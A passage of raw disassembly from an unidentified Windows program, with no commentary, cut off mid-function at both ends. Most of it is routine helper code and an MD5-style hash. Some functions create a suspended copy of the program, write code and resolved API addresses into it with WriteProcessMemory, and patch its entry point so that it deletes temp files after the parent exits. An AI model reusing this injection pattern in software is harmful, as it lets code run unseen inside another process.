[ebp+var_24] mov [ebp+var_D4], eax jmp short loc_506FED ; --------------------------------------------------------------------------- loc_506FE0: ; CODE XREF: sub_5061E1+DF2j mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax loc_506FED: ; CODE XREF: sub_5061E1+DFDj push 14h call sub_50835A pop ecx mov [ebp+var_10C], eax mov eax, [ebp+var_10C] mov [ebp+var_F0], eax mov eax, [ebp+var_F0] mov ecx, [ebp+var_D4] mov [eax], ecx mov eax, [ebp+var_F0] mov ecx, ds:dword_51196C mov [eax+10h], ecx mov eax, [ebp+var_F0] mov ecx, [ebp+var_EC] mov [eax+0Ch], ecx mov eax, [ebp+var_F0] mov ecx, [ebp+var_D8] mov [eax+4], ecx mov eax, [ebp+var_F0] mov ecx, [ebp+var_DC] mov [eax+8], ecx mov eax, [ebp+var_F0] mov ds:dword_51196C, eax loc_50705C: ; CODE XREF: sub_5061E1+D50j call sub_50614D push 0FFFFFFFFh mov eax, [ebp+var_D0] mov [ebp+var_148], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_148] jmp loc_507132 ; END OF FUNCTION CHUNK FOR sub_5061E1 ; =============== S U B R O U T I N E ======================================= sub_507085 proc near ; DATA XREF: _6:0050E4C8o cmp ds:dword_511964, 0 jz short loc_507096 mov eax, [ebp-44h] mov ds:dword_511964, eax loc_507096: ; CODE XREF: sub_507085+7j cmp dword ptr [ebp-3Ch], 0FFFFFFFFh jz short loc_5070A6 push 0 push dword ptr [ebp-3Ch] call sub_500741 loc_5070A6: ; CODE XREF: sub_507085+15j mov eax, [ebp-50h] mov [ebp-110h], eax push dword ptr [ebp-110h] call sub_5083DD pop ecx mov eax, [ebp-4Ch] mov [ebp-114h], eax push dword ptr [ebp-114h] call sub_5083DD pop ecx mov eax, [ebp-1Ch] mov [ebp-118h], eax push dword ptr [ebp-118h] call sub_5083DD pop ecx mov eax, [ebp-2Ch] mov [ebp-11Ch], eax push dword ptr [ebp-11Ch] call sub_5083DD pop ecx mov eax, [ebp-54h] mov [ebp-120h], eax push dword ptr [ebp-120h] call sub_5083DD pop ecx mov eax, [ebp-28h] mov [ebp-124h], eax push dword ptr [ebp-124h] call sub_5083DD pop ecx push offset dword_511930 call ds:dword_511754 ; RtlLeaveCriticalSection retn sub_507085 endp ; --------------------------------------------------------------------------- xor eax, eax ; START OF FUNCTION CHUNK FOR sub_5061E1 loc_507132: ; CODE XREF: sub_5061E1+C3j ; sub_5061E1+145j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_5061E1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_507141 proc near ; CODE XREF: sub_50AA24+15p ; sub_50AA5E+43p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push esi push edi push [ebp+arg_0] mov ecx, ds:dword_51194C call sub_50B871 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_5071BD mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_8], ecx mov eax, [ebp+arg_8] cmp eax, [ebp+var_8] jbe short loc_507199 mov ecx, [ebp+var_8] inc ecx mov esi, [ebp+var_4] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_5071B8 ; --------------------------------------------------------------------------- loc_507199: ; CODE XREF: sub_507141+34j mov ecx, [ebp+arg_8] mov esi, [ebp+var_4] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_C] mov ecx, [ebp+arg_8] mov [eax], ecx loc_5071B8: ; CODE XREF: sub_507141+56j push 1 pop eax jmp short loc_5071BF ; --------------------------------------------------------------------------- loc_5071BD: ; CODE XREF: sub_507141+1Cj xor eax, eax loc_5071BF: ; CODE XREF: sub_507141+7Aj pop edi pop esi leave retn sub_507141 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5071C3 proc near ; CODE XREF: sub_50A0C8+42p var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E4E8 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 80h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_78], 0 and [ebp+var_74], 0 and [ebp+var_70], 0 xor eax, eax lea edi, [ebp+var_6C] stosd and [ebp+var_60], 0 push 10h pop ecx xor eax, eax lea edi, [ebp+var_5C] rep stosd call ds:dword_5116E4 ; GetCurrentProcess mov [ebp+var_68], eax mov [ebp+var_64], offset dword_4FD720 and [ebp+var_1C], 0 cmp ds:dword_511958, 0 jz loc_507324 and [ebp+var_4], 0 push 105h call sub_50835A pop ecx mov [ebp+var_8C], eax mov eax, [ebp+var_8C] mov [ebp+var_78], eax push 50h call sub_50835A pop ecx mov [ebp+var_90], eax mov eax, [ebp+var_90] mov [ebp+var_74], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_78] rep stosd stosb push 104h push [ebp+var_78] push 0 call ds:dword_511718 ; GetModuleHandleA push eax call ds:dword_511714 ; GetModuleFileNameA mov [ebp+var_60], 44h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_60] push eax push 0 push 0 push 4 push 1 push 0 push 0 push 0 push [ebp+var_78] call ds:dword_5116B8 ; CreateProcessA test eax, eax jnz short loc_5072BD mov ecx, 0EF000015h call sub_508342 loc_5072BD: ; CODE XREF: sub_5071C3+EEj call ds:dword_5116E8 ; GetCurrentProcessId push eax push [ebp+var_88] call sub_507494 pop ecx pop ecx push [ebp+var_84] call ds:dword_50E024 ; ResumeThread or [ebp+var_4], 0FFFFFFFFh jmp short loc_507324 ; --------------------------------------------------------------------------- mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov [ebp+var_94], eax cmp [ebp+var_94], 0EF000015h jnz short loc_507308 mov [ebp+var_98], 1 jmp short loc_507316 ; --------------------------------------------------------------------------- loc_507308: ; CODE XREF: sub_5071C3+137j push [ebp+var_14] call sub_508C27 mov [ebp+var_98], eax loc_507316: ; CODE XREF: sub_5071C3+143j mov eax, [ebp+var_98] retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_507324: ; CODE XREF: sub_5071C3+66j ; sub_5071C3+11Ej mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_5071C3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_507333 proc near ; CODE XREF: sub_507482+Bp ; DATA XREF: sub_507482+6o ... var_24C = byte ptr -24Ch var_220 = byte ptr -220h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h push ebp mov ebp, esp sub esp, 24Ch push edi and [ebp+var_108], 0 push ds:dword_511920 push 0 push 1F0FFFh call ds:dword_511994 mov ds:dword_511948, eax cmp ds:dword_511948, 0 jz short loc_5073A4 loc_507365: ; CODE XREF: sub_507333+63j lea eax, [ebp+var_108] push eax push ds:dword_511948 call ds:dword_511988 test eax, eax jz short loc_507398 cmp [ebp+var_108], 103h jnz short loc_507398 push 0FFFFFFFFh push ds:dword_511948 call ds:dword_51198C jmp short loc_507365 ; --------------------------------------------------------------------------- loc_507398: ; CODE XREF: sub_507333+47j ; sub_507333+53j push ds:dword_511948 call ds:dword_51199C loc_5073A4: ; CODE XREF: sub_507333+30j or [ebp+var_10C], 0FFFFFFFFh and [ebp+var_104], 0 push 40h pop ecx xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb lea eax, [ebp+var_104] push eax push 104h call ds:dword_511970 lea eax, [ebp+var_104] push eax call ds:dword_511974 lea eax, [ebp+var_104] push eax push 104h call ds:dword_511978 push 64h call ds:dword_511998 loc_5073FB: ; CODE XREF: sub_507333+124j lea eax, [ebp+var_24C] push eax push offset dword_5119A0 call ds:dword_51197C mov [ebp+var_10C], eax cmp [ebp+var_10C], 0FFFFFFFFh jz short loc_507459 lea eax, [ebp+var_220] push eax call ds:dword_511980 test eax, eax jnz short loc_50744B push 1F4h call ds:dword_511998 lea eax, [ebp+var_220] push eax call ds:dword_511980 test eax, eax jnz short loc_50744B jmp short loc_507478 ; --------------------------------------------------------------------------- loc_50744B: ; CODE XREF: sub_507333+F8j ; sub_507333+114j push [ebp+var_10C] call ds:dword_511984 jmp short loc_5073FB ; --------------------------------------------------------------------------- loc_507459: ; CODE XREF: sub_507333+E7j ; sub_507333:loc_507478j cmp [ebp+var_10C], 0FFFFFFFFh jz short loc_50746E push [ebp+var_10C] call ds:dword_511984 loc_50746E: ; CODE XREF: sub_507333+12Dj push 0 call ds:dword_511990 jmp short loc_50747A ; --------------------------------------------------------------------------- loc_507478: ; CODE XREF: sub_507333+116j jmp short loc_507459 ; --------------------------------------------------------------------------- loc_50747A: ; CODE XREF: sub_507333+143j pop edi leave retn sub_507333 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50747D proc near ; DATA XREF: sub_507494+2B6o push ebp mov ebp, esp pop ebp retn sub_50747D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_507482 proc near ; DATA XREF: sub_507494+2EFo push ebp mov ebp, esp push ebx push esi push edi mov eax, offset sub_507333 call eax ; sub_507333 pop edi pop esi pop ebx pop ebp retn sub_507482 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_507494 proc near ; CODE XREF: sub_5071C3+107p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push esi push edi push 0 call ds:dword_511718 ; GetModuleHandleA mov [ebp+var_24], eax mov eax, [ebp+var_24] mov ecx, [ebp+var_24] add ecx, [eax+3Ch] mov [ebp+var_20], ecx mov eax, [ebp+arg_4] mov ds:dword_511920, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_511920 push offset dword_511920 push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory push 20h pop ecx xor eax, eax mov edi, offset dword_5119A0 rep stosd call ds:dword_5116E8 ; GetCurrentProcessId push eax push offset aMbx@X@_ ; "MBX@%X@*.###" push offset dword_5119A0 call ds:dword_5117D4 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_14] push eax push 80h push offset dword_5119A0 push offset dword_5119A0 push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory mov esi, offset aKernel32_dll_0 ; "kernel32.dll" lea edi, [ebp+var_10] movsd movsd movsd movsb lea eax, [ebp+var_10] push eax push offset aGettemppatha ; "GetTempPathA" call sub_509D79 pop ecx pop ecx mov ds:dword_511970, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_511970 push offset dword_511970 push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aSetcurrentdire ; "SetCurrentDirectoryA" call sub_509D79 pop ecx pop ecx mov ds:dword_511974, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_511974 push offset dword_511974 push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aGetcurrentdire ; "GetCurrentDirectoryA" call sub_509D79 pop ecx pop ecx mov ds:dword_511978, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_511978 push offset dword_511978 push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aFindfirstfilea ; "FindFirstFileA" call sub_509D79 pop ecx pop ecx mov ds:dword_51197C, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_51197C push offset dword_51197C push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aDeletefilea ; "DeleteFileA" call sub_509D79 pop ecx pop ecx mov ds:dword_511980, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_511980 push offset dword_511980 push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aFindclose ; "FindClose" call sub_509D79 pop ecx pop ecx mov ds:dword_511984, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_511984 push offset dword_511984 push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aGetexitcodepro ; "GetExitCodeProcess" call sub_509D79 pop ecx pop ecx mov ds:dword_511988, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_511988 push offset dword_511988 push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aWaitforsingleo ; "WaitForSingleObject" call sub_509D79 pop ecx pop ecx mov ds:dword_51198C, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_51198C push offset dword_51198C push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aExitprocess ; "ExitProcess" call sub_509D79 pop ecx pop ecx mov ds:dword_511990, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_511990 push offset dword_511990 push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aOpenprocess ; "OpenProcess" call sub_509D79 pop ecx pop ecx mov ds:dword_511994, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_511994 push offset dword_511994 push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aSleep ; "Sleep" call sub_509D79 pop ecx pop ecx mov ds:dword_511998, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_511998 push offset dword_511998 push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aClosehandle ; "CloseHandle" call sub_509D79 pop ecx pop ecx mov ds:dword_51199C, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_51199C push offset dword_51199C push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory mov eax, offset sub_50747D sub eax, offset sub_507333 mov [ebp+var_1C], eax lea eax, [ebp+var_14] push eax push [ebp+var_1C] push offset sub_507333 push offset sub_507333 push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory mov eax, [ebp+var_20] mov ecx, [ebp+var_24] add ecx, [eax+28h] mov [ebp+var_18], ecx lea eax, [ebp+var_14] push eax push 20h push offset sub_507482 push [ebp+var_18] push [ebp+arg_0] call ds:dword_50E028 ; WriteProcessMemory pop edi pop esi leave retn sub_507494 endp ; =============== S U B R O U T I N E ======================================= sub_507798 proc near ; CODE XREF: _5:004FEECCp ; sub_503610+209p push esi mov esi, ecx call sub_5079B1 mov eax, esi pop esi retn sub_507798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5077A4 proc near ; CODE XREF: sub_503610+21Dp ; sub_50785D+112p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, ecx cmp byte ptr [ebx+68h], 0 jnz loc_507858 mov edx, [ebx+10h] mov ecx, [ebp+arg_4] push esi mov eax, edx mov esi, ecx lea edx, [edx+ecx*8] shr eax, 3 shl esi, 3 and eax, 3Fh cmp edx, esi push edi mov [ebx+10h], edx jnb short loc_5077D7 inc dword ptr [ebx+14h] loc_5077D7: ; CODE XREF: sub_5077A4+2Ej mov edx, ecx push 40h shr edx, 1Dh add [ebx+14h], edx pop edx sub edx, eax cmp ecx, edx mov [ebp+var_4], edx jb short loc_50783B mov esi, [ebp+arg_0] mov ecx, edx lea edi, [eax+ebx+18h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax lea eax, [ebx+18h] and ecx, 3 push eax rep movsb mov ecx, ebx call sub_5079D8 mov esi, [ebp+var_4] lea eax, [esi+3Fh] cmp eax, [ebp+arg_4] jnb short loc_507834 mov edi, eax loc_50781A: ; CODE XREF: sub_5077A4+8Ej mov eax, [ebp+arg_0] mov ecx, ebx lea eax, [eax+edi-3Fh] push eax call sub_5079D8 add edi, 40h add esi, 40h cmp edi, [ebp+arg_4] jb short loc_50781A loc_507834: ; CODE XREF: sub_5077A4+72j mov ecx, [ebp+arg_4] xor eax, eax jmp short loc_50783D ; --------------------------------------------------------------------------- loc_50783B: ; CODE XREF: sub_5077A4+45j xor esi, esi loc_50783D: ; CODE XREF: sub_5077A4+95j mov edx, [ebp+arg_0] sub ecx, esi lea edi, [eax+ebx+18h] mov eax, ecx add esi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi loc_507858: ; CODE XREF: sub_5077A4+Bj pop ebx leave retn 8 sub_5077A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50785D proc near ; CODE XREF: sub_503610+22Fp var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = byte ptr -44h var_43 = byte ptr -43h var_42 = byte ptr -42h var_41 = byte ptr -41h var_40 = byte ptr -40h var_3F = byte ptr -3Fh var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh var_3A = byte ptr -3Ah var_39 = byte ptr -39h var_38 = byte ptr -38h var_37 = byte ptr -37h var_36 = byte ptr -36h var_35 = byte ptr -35h var_34 = byte ptr -34h var_33 = byte ptr -33h var_32 = byte ptr -32h var_31 = byte ptr -31h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = byte ptr -2Ah var_29 = byte ptr -29h var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4Ch push ebx push esi mov esi, ecx xor ebx, ebx push edi mov [ebp+var_4], esi cmp [esi+68h], bl mov [ebp+var_4C], 80h mov [ebp+var_4B], bl mov [ebp+var_4A], bl mov [ebp+var_49], bl mov [ebp+var_48], bl mov [ebp+var_47], bl mov [ebp+var_46], bl mov [ebp+var_45], bl mov [ebp+var_44], bl mov [ebp+var_43], bl mov [ebp+var_42], bl mov [ebp+var_41], bl mov [ebp+var_40], bl mov [ebp+var_3F], bl mov [ebp+var_3E], bl mov [ebp+var_3D], bl mov [ebp+var_3C], bl mov [ebp+var_3B], bl mov [ebp+var_3A], bl mov [ebp+var_39], bl mov [ebp+var_38], bl mov [ebp+var_37], bl mov [ebp+var_36], bl mov [ebp+var_35], bl mov [ebp+var_34], bl mov [ebp+var_33], bl mov [ebp+var_32], bl mov [ebp+var_31], bl mov [ebp+var_30], bl mov [ebp+var_2F], bl mov [ebp+var_2E], bl mov [ebp+var_2D], bl mov [ebp+var_2C], bl mov [ebp+var_2B], bl mov [ebp+var_2A], bl mov [ebp+var_29], bl mov [ebp+var_28], bl mov [ebp+var_27], bl mov [ebp+var_26], bl mov [ebp+var_25], bl mov [ebp+var_24], bl mov [ebp+var_23], bl mov [ebp+var_22], bl mov [ebp+var_21], bl mov [ebp+var_20], bl mov [ebp+var_1F], bl mov [ebp+var_1E], bl mov [ebp+var_1D], bl mov [ebp+var_1C], bl mov [ebp+var_1B], bl mov [ebp+var_1A], bl mov [ebp+var_19], bl mov [ebp+var_18], bl mov [ebp+var_17], bl mov [ebp+var_16], bl mov [ebp+var_15], bl mov [ebp+var_14], bl mov [ebp+var_13], bl mov [ebp+var_12], bl mov [ebp+var_11], bl mov [ebp+var_10], bl mov [ebp+var_F], bl mov [ebp+var_E], bl mov [ebp+var_D], bl jz short loc_507943 mov edi, [ebp+arg_0] cmp edi, ebx jz short loc_5079AA add esi, 58h movsd movsd movsd movsd jmp short loc_5079AA ; --------------------------------------------------------------------------- loc_507943: ; CODE XREF: sub_50785D+D4j lea edi, [esi+10h] push 8 lea eax, [ebp+var_C] push edi push eax mov ecx, esi call sub_5082B3 mov eax, [edi] push 38h shr eax, 3 and eax, 3Fh pop ecx cmp eax, ecx jb short loc_507966 push 78h pop ecx loc_507966: ; CODE XREF: sub_50785D+104j sub ecx, eax lea eax, [ebp+var_4C] push ecx push eax mov ecx, esi call sub_5077A4 lea eax, [ebp+var_C] push 8 push eax mov ecx, esi call sub_5077A4 lea edi, [esi+58h] push 10h push esi push edi mov ecx, esi call sub_5082B3 cmp [ebp+arg_0], ebx jz short loc_5079A0 mov esi, edi mov edi, [ebp+arg_0] movsd movsd movsd movsd mov esi, [ebp+var_4] loc_5079A0: ; CODE XREF: sub_50785D+135j xor eax, eax lea edi, [esi+18h] stosb mov byte ptr [esi+68h], 1 loc_5079AA: ; CODE XREF: sub_50785D+DBj ; sub_50785D+E4j pop edi pop esi pop ebx leave retn 4 sub_50785D endp ; =============== S U B R O U T I N E ======================================= sub_5079B1 proc near ; CODE XREF: sub_507798+3p xor eax, eax mov dword ptr [ecx], 67452301h mov [ecx+68h], al mov [ecx+10h], eax mov [ecx+14h], eax mov dword ptr [ecx+4], 0EFCDAB89h mov dword ptr [ecx+8], 98BADCFEh mov dword ptr [ecx+0Ch], 10325476h retn sub_5079B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5079D8 proc near ; CODE XREF: sub_5077A4+64p ; sub_5077A4+80p var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 50h push ebx push esi mov esi, ecx push edi push 40h mov eax, [esi] push [ebp+arg_0] mov [ebp+var_4], eax mov eax, [esi+4] mov [ebp+var_8], eax mov eax, [esi+8] mov [ebp+var_C], eax mov eax, [esi+0Ch] mov [ebp+var_10], eax lea eax, [ebp+var_50] push eax call sub_5082FA mov edi, [ebp+var_8] mov ebx, [ebp+var_C] mov eax, edi mov ecx, ebx not eax and eax, [ebp+var_10] and ecx, edi mov edx, edi or eax, ecx mov ecx, [ebp+var_4] add eax, [ebp+var_50] lea ecx, [ecx+eax-28955B88h] mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [ebp+var_10] add ecx, [ebp+var_4C] lea edx, [edx+ecx-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx not edx and edx, edi mov edi, ecx and edi, eax or edx, edi add edx, [ebp+var_48] lea edx, [ebx+edx+242070DBh] mov ebx, ecx mov edi, edx shr edi, 0Fh shl edx, 11h or edi, edx add edi, ecx mov edx, edi and ebx, edi not edx and edx, eax mov [ebp+var_C], edi or edx, ebx mov ebx, [ebp+var_8] add edx, [ebp+var_44] lea ebx, [ebx+edx-3E423112h] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx add edx, edi mov ebx, edx and edi, edx not ebx and ebx, ecx or ebx, edi add ebx, [ebp+var_40] lea eax, [eax+ebx-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax mov eax, edx add edi, edx mov [ebp+var_4], edi and eax, [ebp+var_4] not edi and edi, [ebp+var_C] or edi, eax add edi, [ebp+var_3C] lea ecx, [ecx+edi+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, [ebp+var_4] mov ecx, eax mov edi, eax and edi, [ebp+var_4] mov ebx, eax not ecx and ecx, edx or ecx, edi mov edi, [ebp+var_C] add ecx, [ebp+var_38] lea edi, [edi+ecx-57CFB9EDh] mov ecx, edi shr ecx, 0Fh shl edi, 11h or ecx, edi add ecx, eax mov edi, ecx and ebx, ecx not edi and edi, [ebp+var_4] or edi, ebx mov ebx, ecx add edi, [ebp+var_34] lea edx, [edx+edi-2B96AFFh] mov edi, edx shl edi, 16h shr edx, 0Ah or edi, edx add edi, ecx mov edx, edi and ebx, edi not edx and edx, eax mov [ebp+var_8], edi or edx, ebx mov ebx, [ebp+var_4] add edx, [ebp+var_30] lea ebx, [ebx+edx+698098D8h] mov edx, ebx shr edx, 19h shl ebx, 7 or edx, ebx add edx, edi mov ebx, edx and edi, edx not ebx and ebx, ecx or ebx, edi add ebx, [ebp+var_2C] lea eax, [eax+ebx-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi mov ebx, edi not eax and eax, [ebp+var_8] and ebx, edx or eax, ebx add eax, [ebp+var_28] lea ecx, [ecx+eax-0A44Fh] mov ebx, ecx shr ebx, 0Fh shl ecx, 11h or ebx, ecx mov ecx, edi add ebx, edi mov eax, ebx and ecx, ebx not eax and eax, edx mov [ebp+var_C], ebx or eax, ecx mov ecx, [ebp+var_8] add eax, [ebp+var_24] lea ecx, [ecx+eax-76A32842h] mov eax, ecx shl eax, 16h shr ecx, 0Ah or eax, ecx add eax, ebx mov ecx, eax and ebx, eax not ecx and ecx, edi or ecx, ebx add ecx, [ebp+var_20] lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx mov edx, eax add ecx, eax mov [ebp+var_4], ecx and edx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or ecx, edx add ecx, [ebp+var_1C] lea edi, [edi+ecx-2678E6Dh] mov ecx, edi shr ecx, 14h shl edi, 0Ch or ecx, edi add ecx, [ebp+var_4] mov [ebp+arg_0], ecx mov edi, ecx not [ebp+arg_0] mov edx, [ebp+arg_0] and edi, [ebp+var_4] and edx, eax mov ebx, ecx or edx, edi mov edi, [ebp+var_C] add edx, [ebp+var_18] lea edi, [edi+edx-5986BC72h] mov edx, edi shr edx, 0Fh shl edi, 11h or edx, edi add edx, ecx mov [ebp+var_10], edx and ebx, edx not [ebp+var_10] mov edi, [ebp+var_10] and edi, [ebp+var_4] or edi, ebx mov ebx, ecx add edi, [ebp+var_14] lea eax, [eax+edi+49B40821h] mov edi, eax shl edi, 16h shr eax, 0Ah or edi, eax mov eax, [ebp+arg_0] add edi, edx and eax, edx and ebx, edi or eax, ebx mov ebx, [ebp+var_4] add eax, [ebp+var_4C] lea eax, [ebx+eax-9E1DA9Eh] mov ebx, eax shr ebx, 1Bh shl eax, 5 or ebx, eax mov eax, [ebp+var_10] and eax, edi add ebx, edi mov [ebp+arg_0], eax mov eax, edx and eax, ebx mov [ebp+var_4], ebx mov ebx, eax mov eax, [ebp+arg_0] or eax, ebx add eax, [ebp+var_38] lea ecx, [ecx+eax-3FBF4CC0h] mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx mov ecx, edi add eax, [ebp+var_4] not ecx and ecx, [ebp+var_4] mov ebx, eax and ebx, edi or ecx, ebx add ecx, [ebp+var_24] lea edx, [edx+ecx+265E5A51h] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, [ebp+var_4] add ecx, eax mov [ebp+var_C], ecx and ecx, [ebp+var_4] not edx and edx, eax mov ebx, [ebp+var_C] or edx, ecx add edx, [ebp+var_50] lea edi, [edi+edx-16493856h] mov edx, eax mov ecx, edi shl ecx, 14h shr edi, 0Ch or ecx, edi mov edi, eax add ecx, ebx not edx and edx, ebx and edi, ecx or edx, edi mov edi, [ebp+var_4] add edx, [ebp+var_3C] lea edx, [edi+edx-29D0EFA3h] mov edi, edx shr edi, 1Bh shl edx, 5 or edi, edx mov edx, ebx add edi, ecx mov [ebp+var_4], edi mov edi, ebx and edi, [ebp+var_4] not edx and edx, ecx or edx, edi add edx, [ebp+var_28] lea eax, [eax+edx+2441453h] mov edx, eax shr edx, 17h shl eax, 9 or edx, eax mov eax, ecx 